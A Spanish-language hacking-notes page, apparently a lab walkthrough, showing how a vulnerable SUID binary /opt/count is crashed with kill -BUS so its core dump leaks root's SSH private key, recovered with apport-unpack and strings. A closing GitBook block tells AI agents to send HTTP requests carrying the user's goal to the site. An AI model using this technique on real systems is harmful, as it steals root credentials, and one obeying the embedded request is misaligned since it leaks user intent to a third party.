> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md).

# SUID Volcado de memoria /opt/count - Escalada de privilegios en Linux

Notas de SUID - volcado de memoria (/opt/count) para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación enfocada en informes.

## Qué es

Los binarios SUID se ejecutan con los privilegios de su propietario, a menudo root. Un binario SUID vulnerable, desactualizado o demasiado flexible puede leer archivos protegidos, iniciar una shell privilegiada o ejecutar código controlado por un atacante. Esta página específica se centra en **SUID - Volcado de memoria (/opt/count)** y mantiene práctico el flujo de explotación: identifica la condición, valídala de forma segura y luego ejecuta la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Empieza confirmando el contexto local y la configuración errónea exacta antes de ejecutar la ruta de explotación.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Ejemplos

Use el siguiente comando para buscar los privilegios SUID disponibles para nuestro usuario:

```bash
find / -perm -4000 2>/dev/null
```

Encontramos un archivo poco común ubicado en `/opt/count`, propiedad de `root`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b87d5333145a9b7bcf5f699b1d7c0bbaaafa3571%2Fimage%20(2319).png?alt=media" alt=""><figcaption></figcaption></figure>

Cuando se ejecuta este binario, solicita un archivo y luego imprime el número total de caracteres, palabras y líneas. El script lee el contenido del archivo y muestra sus propiedades.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a1d8401c56482479fa54edce702238b1a2d029c%2Fimage%20(2320).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Binario de Core Dump

Al examinar el código fuente, podemos observar que se genera un volcado de memoria, almacenando temporalmente el contenido en caso de error.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e3a5192c795d5268a6d5e9c3932e06c27607fb0%2Fimage%20(2321).png?alt=media" alt=""><figcaption></figcaption></figure>

Los errores se guardan en el `/var/crash` directorio. Así es como se crea un core dump:

1. **Introduzca el nombre del archivo o directorio:**

   ```bash
   Introduzca el nombre del archivo/directorio de origen: /root/.ssh/id_rsa
   ```

   (clave SSH de root)
2. \*\*¿Guardar los resultados en un archivo? \*\*

   ```css
   ¿Guardar resultados en un archivo? [y/N]: ^Z
   ```

   (En segundo plano)
3. **Obtenga el PID:**

   ```bash
   ps
   ```

   *(Copie el PID)*
4. **Terminar el proceso:**

   ```bash
   kill -BUS 'PID'
   ```
5. **Vuelva a ejecutar el binario:**

   ```bash
   fg
   ```
6. **Comprueba el directorio de core dumps:**

   ```bash
   ls -l /var/crash
   ```

   (Aparece un nuevo archivo: `_opt_count.1000.crash`)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-347b54bb37f17463314e11c851486617677d579c%2Fimage%20(2322).png?alt=media" alt=""><figcaption></figcaption></figure>

Ahora tenemos un volcado de memoria en base64 que contiene la clave SSH de root.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a02fc419de4dd4fcfe845c6e5c32ea0241a23c11%2Fimage%20(2323).png?alt=media" alt=""><figcaption></figcaption></figure>

### apport-unpack

Para extraer la información, usaremos `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

Luego listaremos el contenido del archivo en `/tmp/ssh/coredump` usando `strings`:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c46dda2047d199cecd58836ce510b4a60aa12e6e%2Fimage%20(2324).png?alt=media" alt=""><figcaption></figcaption></figure>

Encontramos la clave SSH de root

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f48f43f85f369a86a2a7d54a0e41379b2a00201%2Fimage%20(2325).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
